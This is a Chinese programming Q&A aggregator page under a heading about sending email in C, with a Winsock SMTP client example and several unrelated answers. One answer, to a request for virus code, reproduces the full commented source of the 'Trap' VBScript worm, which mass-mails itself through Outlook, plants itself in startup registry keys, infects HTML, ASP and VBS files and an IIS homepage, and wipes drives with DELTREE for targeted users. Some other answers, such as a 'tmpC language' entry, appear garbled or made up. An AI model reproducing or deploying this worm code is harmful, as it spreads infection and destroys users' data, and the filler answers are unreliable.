當前位置:首頁 » 編程語言 » c語言發送郵件

c語言發送郵件

發布時間: 2024-09-23 14:55:42

㈠ tmpC語言是什麼意思

tmpC語言是指模板C語言,它是一種基於ANSI C語言的模板語言。tmpC語言通常用於Web開發中的模板引擎中,作為一種生成特定格式文本的模板語言,可以用來更方便地生成HTML、XML、郵件等格式的文本。tmpC語言主要是通過在C語言的基礎上添加一些擴展命令,來實現對模板文件的處理。
由於tmpC語言具有便捷高效的特點,它被廣泛應用於web開發領域。如今,在各種Web應用程序和框架中,使用tmpC語言來生成動態內容已成為一種標准做法。tmpC語言的應用場景包括但不限於電子商務平台、博客、社交網站等。
學習tmpC語言可以幫助我們更好地理解模板引擎的原理和作用。tmpC語言也能夠提高網站的開發效率和穩定性,實現代碼的重復利用,減少出錯率,方便維護。此外,tmpC語言不僅適用於Web開發,還可以用於其他類型的文本生成場景。因此,學習tmpC語言是非常值得的。

㈡ 用C語言編程,做一個郵箱

用C語言基本是做不出來的,要做工程量也極大,一切底層的都要從頭做,你可以考慮用c++做,也不是一會兒就做的

㈢ 什麼是Microsoft代碼

代碼會發送到你提供的電子郵件里。

代碼發送到你提供的電子郵件里了,去你的郵箱查看就可看到。這個郵箱是你的微軟注冊時候的電子郵箱賬戶,登錄郵箱查看,安全碼是作為一封郵件發給你的,如果你填的郵箱是無法接收的,必須修改可以接收的郵箱,例如QQ郵箱等。

代碼就是你的計算機的操作系統的原始代碼(由匯編,C語言, C++語言 )書寫的,而我們使用的操作系統是已經對源代碼進行編譯,連接後的最終結果!。對用戶的影響目前而言不大,因為泄露的多是未發布的測試版windows 系統,所謂源代碼泄露就是說泄露的是底層的核心代碼。

microsoft代碼是什麼

microsoft輸入代碼意思是程序員用開發工具所支持的語言編寫,利用Microsoft安全代碼分析擴展,團隊可以將安全代碼分析添加到其AzureDevOps持續集成和交付CI或CD管道,此分析由Microsoft的安全開發生命周期SDL專家建議進行,一致性UX通過隱藏運行中工具的復雜性來簡化安全性。

通過基於NuGet交付工具,團隊不再需要管理工具的安裝或更新,對生成任務同時使用命令行介面和基本介面,所有用戶都可以根據需要對工具進行控制,將Microsoft安全代碼分析工具添加到AzureDevOps管道和

㈣ C語言郵件程序 如何發送附件

C語言發送郵件 完整代碼:

#include<windows.h>
#include<stdio.h>
#include<WinSock.h>
#include<iostream>
usingnamespacestd;
#pragmacomment(lib,"ws2_32.lib")

structBase64Date6
{
unsignedintd4:6;
unsignedintd3:6;
unsignedintd2:6;
unsignedintd1:6;
};
//協議中加密部分使用的是base64方法
charConvertToBase64(charc6);
voidEncodeBase64(char*dbuf,char*buf128,intlen);
voidSendMail(char*email,char*body);
intOpenSocket(structsockaddr*addr);

intmain()
{
charEmailTo[]="[email protected]";
charEmailContents[]="From:"lucy"<[email protected]> "
"To:"dasiy"<[email protected]> "
"Subject:Hello "
"HelloWorld,HelloEmail!"
//"DATA "//告訴伺服器下面是郵件
//下面是郵件頭
"TO:[email protected] "
"FROM:[email protected] "
"SUBJECT:SMTP協議測試 "
"Date:2015-04-20 "
"X-Mailer:fice'smailer "
"MIMI-Version:1.0 "
"Content-Type:multipart/mixed;boundary="#BOUNDARY#" "//設置邊界值,區分郵件內容的兩個回車換行
"Content-Transfer-Encoding:7bit "
"Thisisamulti-partmessageinMIMEformat "
//發送郵件內容頭部信息
"--#BOUNDARY# "
"Content-Type:text/plain;charset=gb2312 "
"Content-Transfer-Encoding:printable "
//發送郵件的內容部分
"SMTP協議測試:發送附件/n----byfice2015.04.20 "
//發送附件頭部信息
"--#BOUNDARY# "
"Content-Type:text/plain;name=student.txt "
"Content-Transfer-Encoding:base64 "
"Content-Disposition:attachment;filename="test.txt" ";
SendMail(EmailTo,EmailContents);
return0;
}

charConvertToBase64(charuc)
{
if(uc<26)
{
return'A'+uc;
}
if(uc<52)
{
return'a'+(uc-26);
}
if(uc<62)
{
return'0'+(uc-52);
}
if(uc==62)
{
return'+';
}
return'/';
}

//base64的實現
voidEncodeBase64(char*dbuf,char*buf128,intlen)
{
structBase64Date6*ddd=NULL;
inti=0;
charbuf[256]={0};
char*tmp=NULL;
charcc='';

memset(buf,0,256);
strcpy_s(buf,256,buf128);
for(i=1;i<=len/3;i++)
{
tmp=buf+(i-1)*3;
cc=tmp[2];
tmp[2]=tmp[0];
tmp[0]=cc;
ddd=(structBase64Date6*)tmp;
dbuf[(i-1)*4+0]=ConvertToBase64((unsignedint)ddd->d1);
dbuf[(i-1)*4+1]=ConvertToBase64((unsignedint)ddd->d2);
dbuf[(i-1)*4+2]=ConvertToBase64((unsignedint)ddd->d3);
dbuf[(i-1)*4+3]=ConvertToBase64((unsignedint)ddd->d4);
}
if(len%3==1)
{
tmp=buf+(i-1)*3;
cc=tmp[2];
tmp[2]=tmp[0];
tmp[0]=cc;
ddd=(structBase64Date6*)tmp;
dbuf[(i-1)*4+0]=ConvertToBase64((unsignedint)ddd->d1);
dbuf[(i-1)*4+1]=ConvertToBase64((unsignedint)ddd->d2);
dbuf[(i-1)*4+2]='=';
dbuf[(i-1)*4+3]='=';
}
if(len%3==2)
{
tmp=buf+(i-1)*3;
cc=tmp[2];
tmp[2]=tmp[0];
tmp[0]=cc;
ddd=(structBase64Date6*)tmp;
dbuf[(i-1)*4+0]=ConvertToBase64((unsignedint)ddd->d1);
dbuf[(i-1)*4+1]=ConvertToBase64((unsignedint)ddd->d2);
dbuf[(i-1)*4+2]=ConvertToBase64((unsignedint)ddd->d3);
dbuf[(i-1)*4+3]='=';
}
return;
}
//發送郵件
voidSendMail(char*email,char*body)
{
intsockfd={0};
charbuf[1500]={0};
charrbuf[1500]={0};
charlogin[128]={0};
charpass[128]={0};
WSADATAWSAData;
structsockaddr_intheir_addr={0};
WSAStartup(MAKEWORD(2,2),&WSAData);
memset(&their_addr,0,sizeof(their_addr));

their_addr.sin_family=AF_INET;
their_addr.sin_port=htons(25);
hostent*hptr=gethostbyname("smtp.126.com");
memcpy(&their_addr.sin_addr.S_un.S_addr,hptr->h_addr_list[0],hptr->h_length);
printf("IPofsmpt.126.comis:%d:%d:%d:%d ",
their_addr.sin_addr.S_un.S_un_b.s_b1,
their_addr.sin_addr.S_un.S_un_b.s_b2,
their_addr.sin_addr.S_un.S_un_b.s_b3,
their_addr.sin_addr.S_un.S_un_b.s_b4);

//連接郵件伺服器,如果連接後沒有響應,則2秒後重新連接
sockfd=OpenSocket((structsockaddr*)&their_addr);
memset(rbuf,0,1500);
while(recv(sockfd,rbuf,1500,0)==0)
{
cout<<"reconnect..."<<endl;
Sleep(2);
sockfd=OpenSocket((structsockaddr*)&their_addr);
memset(rbuf,0,1500);
}

cout<<rbuf<<endl;

//EHLO
memset(buf,0,1500);
sprintf_s(buf,1500,"EHLOHYL-PC ");
send(sockfd,buf,strlen(buf),0);
memset(rbuf,0,1500);
recv(sockfd,rbuf,1500,0);
cout<<"EHLOREceive:"<<rbuf<<endl;

//AUTHLOGIN
memset(buf,0,1500);
sprintf_s(buf,1500,"AUTHLOGIN ");
send(sockfd,buf,strlen(buf),0);
memset(rbuf,0,1500);
recv(sockfd,rbuf,1500,0);
cout<<"AuthLoginReceive:"<<rbuf<<endl;

//USER
memset(buf,0,1500);
sprintf_s(buf,1500,"[email protected]");//你的郵箱賬號
memset(login,0,128);
EncodeBase64(login,buf,strlen(buf));
sprintf_s(buf,1500,"%s ",login);
send(sockfd,buf,strlen(buf),0);
cout<<"Base64UserName:"<<buf<<endl;
memset(rbuf,0,1500);
recv(sockfd,rbuf,1500,0);
cout<<"UserLoginReceive:"<<rbuf<<endl;

//PASSWORD
sprintf_s(buf,1500,"********");//你的郵箱密碼
memset(pass,0,128);
EncodeBase64(pass,buf,strlen(buf));
sprintf_s(buf,1500,"%s ",pass);
send(sockfd,buf,strlen(buf),0);
cout<<"Base64Password:"<<buf<<endl;

memset(rbuf,0,1500);
recv(sockfd,rbuf,1500,0);
cout<<"SendPasswordReceive:"<<rbuf<<endl;

//MAILFROM
memset(buf,0,1500);
sprintf_s(buf,1500,"MAILFROM:<[email protected]> ");
send(sockfd,buf,strlen(buf),0);
memset(rbuf,0,1500);
recv(sockfd,rbuf,1500,0);
cout<<"setMailFromReceive:"<<rbuf<<endl;

//RCPTTO第一個收件人
sprintf_s(buf,1500,"RCPTTO:<%s> ",email);
send(sockfd,buf,strlen(buf),0);
memset(rbuf,0,1500);
recv(sockfd,rbuf,1500,0);
cout<<"TellSendtoReceive:"<<rbuf<<endl;

//DATA准備開始發送郵件內容
sprintf_s(buf,1500,"DATA ");
send(sockfd,buf,strlen(buf),0);
memset(rbuf,0,1500);
recv(sockfd,rbuf,1500,0);
cout<<"SendMailPrepareReceive:"<<rbuf<<endl;

//發送郵件內容, . 內容結束標記
sprintf_s(buf,1500,"%s . ",body);
send(sockfd,buf,strlen(buf),0);//發送郵件,不帶附件的內容

//用二進制方式讀取附件文件內容並轉為base64格式
FILE*pf=fopen("D:\test.txt","rb");
fseek(pf,0,SEEK_END);
intfilelen=ftell(pf);
char*filebuf=(char*)malloc(filelen);
char*filebase64=(char*)malloc(filelen*2);
memset(filebase64,0,filelen*2);
fseek(pf,0,SEEK_SET);
fread(filebuf,1,filelen,pf);
EncodeBase64(filebase64,filebuf,filelen);

send(sockfd,filebase64,strlen(filebase64),0);//發送郵件的內容
memset(rbuf,0,1500);
recv(sockfd,rbuf,1500,0);
cout<<"SendMailReceive:"<<rbuf<<endl;

//QUIT
sprintf_s(buf,1500,"QUIT ");
send(sockfd,buf,strlen(buf),0);
memset(rbuf,0,1500);
recv(sockfd,rbuf,1500,0);
cout<<"QuitReceive:"<<rbuf<<endl;

//清理工作
closesocket(sockfd);
WSACleanup();
return;
}
//打開TCPSocket連接
intOpenSocket(structsockaddr*addr)
{
intsockfd=0;
sockfd=socket(PF_INET,SOCK_STREAM,0);
if(sockfd<0)
{
cout<<"Opensockfd(TCP)error!"<<endl;
exit(-1);
}
if(connect(sockfd,addr,sizeof(structsockaddr))<0)
{
cout<<"Connectsockfd(TCP)error!"<<endl;
exit(-1);
}
returnsockfd;
}

㈤ 給個C語言病毒代碼.....要復制的....越長越好

下面就對「陷阱」的發作過程和源代碼作詳細的揭密。
病毒具有自身加密能力(使用 javaScript 編碼技術),使得普通用戶無法看到病毒原碼,但在被感染 VBS 文件中並沒有加密,於是作為一個入口點,我非常輕松地得到所有源碼

'@ thank you! make use of other person to get rid of an enemy, trap _2001

'這句話的意思可能是「借刀殺人」,然後是病毒名稱「陷阱」

on error resume next

dim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Str

dim defpath, smailc, MAX_SIZE

dim whb(), title(10)

smailc = 4

Redim whb(smailc) 』白宮相關人員郵件名單

whb(0) = "[email protected]"

whb(1) = "[email protected] "

whb(2) = "[email protected]"

whb(3) = "[email protected]"

'發送郵件的主題

title(0) = "Thanks for helping me!"

title(1) = "The police are investigating the robbery"

title(2) = "an application for a job "

title(3) = "The aspects of an application process pertinent to OSI"

title(4) = "What a pleasant weather. Why not go out for a walk?"

title(5) = "These countries have gone / been through too many wars"

title(6) = "We've fixed on the 17th of April for the wedding"

title(7) = "The wind failed and the sea returned to calmness."

title(8) = "the sitting is open!"

title(9) = ""

defpath = "C:\Readme.html" ' 病毒文件

MAX_SIZE = 100000 ' 定義傳染文件的最大尺寸

MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"

HCUW = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"

main

sub main() '主程序

on error resume next

dim w_s

w_s= WScript.ScriptFullName '得到病毒文件本身的路徑

if w_s = "" then

Err.Clear

set fso = CreateObject("Scripting.FileSystemObject") '創建文件系統對象

if getErr then '辨認病毒狀態

Randomize '初始化隨機種子

ra = int(rnd() * 7) '產生隨機數

doucment.write title(ra) ' 寫隨機內容

ExecuteMail '執行郵件狀態時的程序

else

ExecutePage '執行 WEB 頁狀態時的程序

end if

else

ExecuteVbs '執行 VBS 文件狀態時的程序

end if

end sub

Function getErr() 忽略錯誤

if Err.number<>0 then

getErr=true

Err.Clear

else

getErr=false

end if

end function

sub ExecutePage() 'WEB 頁狀態時的程序

on error resume next

dim Html_Str, adi, wdf, wdf2,wdf3,wdsf, wdsf2, vf

Vbs_Str = GetScriptCode("vbscript") '得到 VBScript 代碼

Js_Str = GetJavaScript() ' 得到 Javascript 代碼

Code_Str = MakeScript(encrypt(Vbs_str),true) '得到已加密過的腳本代碼

Html_Str = MakeHtml(encrypt(Vbs_str), true) '得到已加密的完整HTML代碼

Gf

'定義病毒文件的路徑

wdsf = w2 & "Mdm.vbs"

wdsf2 = w1 & "Profile.vbs"

wdf = w2 & "user.dll" ' 注意 wdf 和 wdf3 兩個文件非常迷惑人

wdf2 = w2 & "Readme.html"

wdf3 = w2 & "system.dll"

'創建病毒文件

set vf = fso.OpenTextFile (wdf, 2, true)

vf.write Vbs_Str

vf.close

set vf = fso.OpenTextFile (wdsf, 2, true)

vf.write Vbs_Str

vf.close

set vf = fso.OpenTextFile (wdsf2, 2, true)

vf.Write Vbs_Str

vf.close

set vf = fso.OpenTextFile (wdf2, 2, true)

vf.write Html_Str

vf.close

set vf = fso.OpenTextFile (wdf3, 2, true)

vf.write Code_Str

vf.close

修改注冊表,讓病毒文件在每一次計算機啟動自動執行

Writereg MSWKEY & "CurrentVersion\Run\Mdm", wdsf, ""

Writereg MSWKEY & "CurrentVersion\RunServices\Profile", wdsf2, ""

SendMail ' 執行發送郵件程序

Hackpage ' 執行感染網站程序

set adi = fso.Drives

for each x in adi

if x.DrivesType = 2 or x.DrivesType = 3 then '遍歷所有本地硬碟和網路共享硬碟

call SearchHTML(x & "\") '執行文件感染程序

end if

next

if TestUser then '檢查用戶

Killhe 執行刪除文件操作

else

if Month(Date) & Day(Date) = "75" then '如系統時間為 7月5日

set vf = fso.OpenTextFile(w2 & "75.htm", 2,true) 』創建系統攻擊文件

vf.write MakeScript ("window.navigate ('c:/con/con');", false)

vf.close

Writereg MSWKEY & "CurrentVersion\Run\75", w2 & "75.htm", "" '自動啟動

window.navigate "c:/con/con" '立刻藍屏,利用 Windows BUG,能引起 Win9X 系統100%死機(即無法恢復的藍屏)

else '如不是7.5

if fso.FileExists(w2 & "75.htm") then fso.DeleteFile w2 & "75.htm" ' 刪除75.htm

end if

end if

if fso.FileExists(defpath) then fso.DeleteFile defpath ' 刪除 C:\Readme.html 病毒文件

end sub

sub ExecuteMail() '郵件狀態時執行的程序

on error resume next

Vbs_Str = GetScriptCode("vbscript")

Js_Str = GetJavaScript()

Set Stl = CreateObject("Scriptlet.TypeLib") '創建 TypeLib對象

with Stl

.Reset

.Path = defpath

.Doc = MakeHtml(encrypt(Vbs_str), true)

.Write() '創建 C:\Readme.html 文件

end with

window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no" 打開會隱藏的窗口

end sub

sub ExecuteVbs() ' 同理,如病毒文件是 VBS 時所執行的程序

on error resume next

dim x, adi, wvbs, ws, vf

set fso = CreateObject("Scripting.FileSystemObject")

set wvbs = CreateObject("WScript.Shell")

Gf

wvbs.RegWrite MSWKEY & "Windows Scripting Host\Setings\Timeout", 0, "REG_DWORD"

set vf = fso.OpenTextFile (w2 & "system.dll", 1)

Code_Str = vf.ReadAll()

vf.close

Hackpage

SendMail

set adi = fso.Drives

for each x in adi

if x.DrivesType = 2 or x.DrivesType = 3 then

call SearchHTML(x & "\")

end if

next

if TestUser then Killhe

end sub

sub Gf() '得到系統路徑

w1=fso.GetSpecialFolder(0) & "\"

w2=fso.GetSpecialFolder(1) & "\"

end sub

function Readreg(key_str) '讀注冊表

set tmps = CreateObject("WScript.Shell")

Readreg = tmps.RegRead(key_str)

set tmps = Nothing

end function

function Writereg(key_str, Newvalue, vtype) '寫注冊表

set tmps = CreateObject("WScript.Shell")

if vtype="" then

tmps.RegWrite key_str, Newvalue

else

tmps.RegWrite key_str, Newvalue, vtype

end if

set tmps = Nothing

end function

function MakeHtml(Sbuffer, iHTML) '創建HTML 文件的完整代碼

dim ra

Randomize

ra = int(rnd() * 7)

MakeHtml="<" & "HTML><" & "HEAD><" & "TITLE>" & title(ra) & "</" & "TITLE><" & "/HEAD>" & _

"<BO" & "AD>" & vbcrlf & MakeScript(Sbuffer, iHTML) & vbcrlf & _

"<" & "/BOAD><" & "/HTML>"

end Function

function MakeScript(Codestr, iHTML) '此程序是病毒進行自我加密過程,較為復雜,不再描述

if iHTML then

dim DocuWrite

DocuWrite = "document.write('<'+" & "'SCRIPT Language=JavaScript>\n'+" & _

"jword" & "+'\n</'" & "+'SCRIPT>');"

DocuWrite = DocuWrite & vbcrlf & "document.write('<'+" & "'SCRIPT Language=VBScript>\n'+" & _

"nword" & "+'\n</'" & "+'SCRIPT>');"

MakeScript="<" & "SCRIPT Language=JavaScript>" & vbcrlf & "var jword = " & _

chr(34) & encrypt(Js_Str) & chr(34) & vbcrlf & "var nword = " & _

chr(34) & Codestr & chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _

"jword = unescape(jword);" & vbcrlf & DocuWrite & vbcrlf & "</" & "SCRIPT>"

else

MakeScript= "<" & "SCRIPT Language=JavaScript>" & Codestr & "</" & "SCRIPT>"

end if

end function

function GetScriptCode(Languages) ' 得到不同腳本語言的代碼

dim soj

for each soj in document.scripts

if LCase(soj.Language) = Languages then

if Languages = "javascript" then

if len(soj.Text)> 200 then

else

GetScriptCode = soj.Text

exit function

end if

else

GetScriptCode = soj.Text

exit function

end if

end if

next

end function

function GetJavaScript()

GetJavaScript = GetScriptCode("javascript")

end function

function TestUser() '檢測用戶過程

on error resume next

dim keys(6), i, tmpStr, Wnet

'特定用戶關鍵詞

keys(0) = "white home"

keys(1) = "central intelligence agency"

keys(2) = "bush"

keys(3) = "american stock exchang"

keys(4) = "chief executive"

keys(5) = "usa"

TestUser = false

Set Wnet = CreateObject("WScript.Network") '創建網路對象

'下面一共3個循環,作用一樣,是檢查用戶的 Domain、用戶名和計算機名是否含有以上的5個關鍵詞語,一旦含有程序將返回」真」的條件,從而對這些用戶的文件進行瘋狂刪除。

tmpStr = LCase(Wnet.UserName) '

for i=0 to 4

if InStr(tmpStr, keys(i)) > 0 then

TestUser=true

exit function

end if

next

tmpStr = LCase(Wnet.ComputerName)

for i=0 to 4

if InStr(tmpStr, keys(i)) > 0 then

TestUser=true

exit function

end if

next

tmpStr = LCase(Wnet.UserDomain)

for i=0 to 4

if InStr(tmpStr, keys(i)) >0 then

TestUser=true

exit function

end if

next

Set Wnet = Nothing

end function

function SendMail() '發送文件過程

on error resume next

dim wab,ra,j, Oa, arrsm, eins, Eaec, fm, wreg, areg,at

'首先向 OutLook 地址簿發送帶能直接感染文件的已加密的病毒代碼和HTML 附件

主題是隨機的,此過程與「歡樂時光「類似,所以不再描述
Randomize

at=fso.GetSpecialFolder(1) & "\Readme.html"

set Oa = CreateObject("Outlook.Application")

set wab = Oa.GetNameSpace("MAPI")

for j = 1 to wab.AddressLists.Count

eins = wab.AddressLists(j)

wreg=Readreg (HCUW & eins)

if (wreg="") then wreg = 1

Eaec = eins.AddressEntries.Count

if (Eaec > Int(wreg)) then

for x = 1 to Eaec

arrsm = wab.AddressEntries(x)

areg = Readreg(HCUW & arrsm)

if (areg = "") then

set fm = wab.CreateItem(0)

with fm

ra = int(rnd() * 7)

.Recipients.Add arrsm

.Subject = title(ra)

.Body = title(ra)

.Attachments at

.Send

Writereg HCUW & arrsm, 1, "REG_DWORD"

end with

end if

next

end if

Writereg HCUW & eins, Eaec, ""

next

'下面是對指定的用戶無條件發送大量病毒郵件, 從這一點可看出病毒作者對美國政府的極度不滿。

for j = 1 to smailc

arrsm = whb(j)

set fm = wab.CreateItem(0)

ra = int(rnd() * 7)

with fm

.Recipients.Add arrsm

.Subject = title(ra)

.Body = title(ra)

.Send

end with

next

set Oa = Nothing

window.setTimeout "SendMail()", 5000 '每隔 5 秒種重復發送

end function

sub SearchHTML(Path) '搜索可傳染文件的過程

on error resume next

dim pfo, psfo, pf, ps, pfi, ext

if instr(Path, fso.GetSpecialFolder(2)) > 0 then exit sub

if Path <> "E:\" then exit sub

set pfo = fso.GetFolder(Path)

set psfo = pfo.SubFolders

for each ps in psfo

SearchHTML(ps.Path)

set pf = ps.Files

for each pfi in pf

ext = LCase(fso.GetExtensionName(pfi.Path))

if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then '檢查文件的擴展名是否為 htm、html、plg 如是則檢查是否被感染,如未被感染則將已加密的病毒代碼插入文件頭,這樣文件一旦執行也會執行病毒代碼,而且不會影響原文件的正常執行。

if Code_Str<>"" then AddHead pfi.Path, pfi, 1

elseif ext= "vbs" then '如是 vbs 文件,則插入未加密的病毒代碼

AddHead pfi.Path,pfi, 2

end if

next

next

end sub

sub Killhe() '全盤刪除文件過程

on error resume next

dim codeText, ko,adi, kd, kh, ks,kf,kfs

codeText = "@ECHO OFF" & vbcrlf & "PATH " & w1 & "COMMAND" & vbcrlf &_

"DELTREE c:\" '將刪除C盤的命令插入Autoexec.bat 中,下次開機時,刪除整個硬碟,並沒有任何提示

set ko = fso.OpenTextFile("C:\Autoexec.bat", 8, true)

ko.Write vbcrlf & codeText

ko.Close

'接著立刻刪除其它盤的所有文件

set adi = fso.Drives

for each x in adi

if x.DrivesType = 2 then

set kd = fso.GetFolder(x & "\")

set kfs = kd.Files

for each kf in kfs

kf.Delete

next

set ks = kd.SubFolders

for each kh in ks

kh.Delete

next

end if

next

do while 1 '讓系統立刻死機

window.open ""

loop

end sub

sub Hackpage() ' 此過程是直接攻擊 Mircosoft IIS 伺服器主頁過程

dim fi

H = "C:\InetPut\wwwroot"

if fso.FolderExists(H) then

'判斷是否為網站,如是則將已加密的帶病毒代碼插入文件頭,從而直接傳染瀏覽該網站的用戶

set fi = fso.GetFile(H & "\index.htm")

AddHead H & "\index.htm",fi,1

end if

end sub

sub AddHead(Path, f, t) '此過程是病毒傳染文件具體過程

on error resume next

dim tso, buffer,sr

if f.size > MAX_SIZE then exit sub '傳染大小小於100K的文件

set tso = fso.OpenTextFile(Path, 1, true)

buffer = tso.ReadAll()

tso.close

if (t = 1) then

if UCase(Left(LTrim(buffer), 7)) <> "<SCRIPT" then

set tso = fso.OpenTextFile(Path, 2, true)

tso.Write Code_Str & vbcrlf & buffer '插入到文件頭

tso.close

end if

else

if mid(buffer, 3, 2) <> "'@" then

tso.close

sr=w2 & "user.dll"

if fso.FileExists(sr) then fso.CopyFile sr, Path

end if

end if

end sub

雖然病毒發作日已過但我們還是要小心提防病毒的變種出現。

㈥ C語言設計個人通訊錄管理系統

1、創建學生社團管理系統的歡迎界面,該歡迎界面以圖片的方式呈現,系統啟動時再屏幕中居中顯示。

熱點內容
為什麼編譯一直出錯 發布:2024-11-24 19:30:24 瀏覽:234
如何查看qq仙境電腦配置 發布:2024-11-24 19:30:14 瀏覽:625
怎麼用蘋果玩安卓賬號 發布:2024-11-24 19:29:34 瀏覽:157
2022款雅閣哪個配置全景天窗 發布:2024-11-24 19:25:48 瀏覽:841
64解壓縮軟體官方下載 發布:2024-11-24 19:23:35 瀏覽:523
php圖形庫 發布:2024-11-24 19:21:02 瀏覽:496
c語言遞歸演算法n 發布:2024-11-24 19:18:46 瀏覽:32
在c語言中表示什麼 發布:2024-11-24 19:04:46 瀏覽:408
discuz友情鏈接緩存 發布:2024-11-24 19:00:11 瀏覽:693
資料庫時區 發布:2024-11-24 18:28:30 瀏覽:614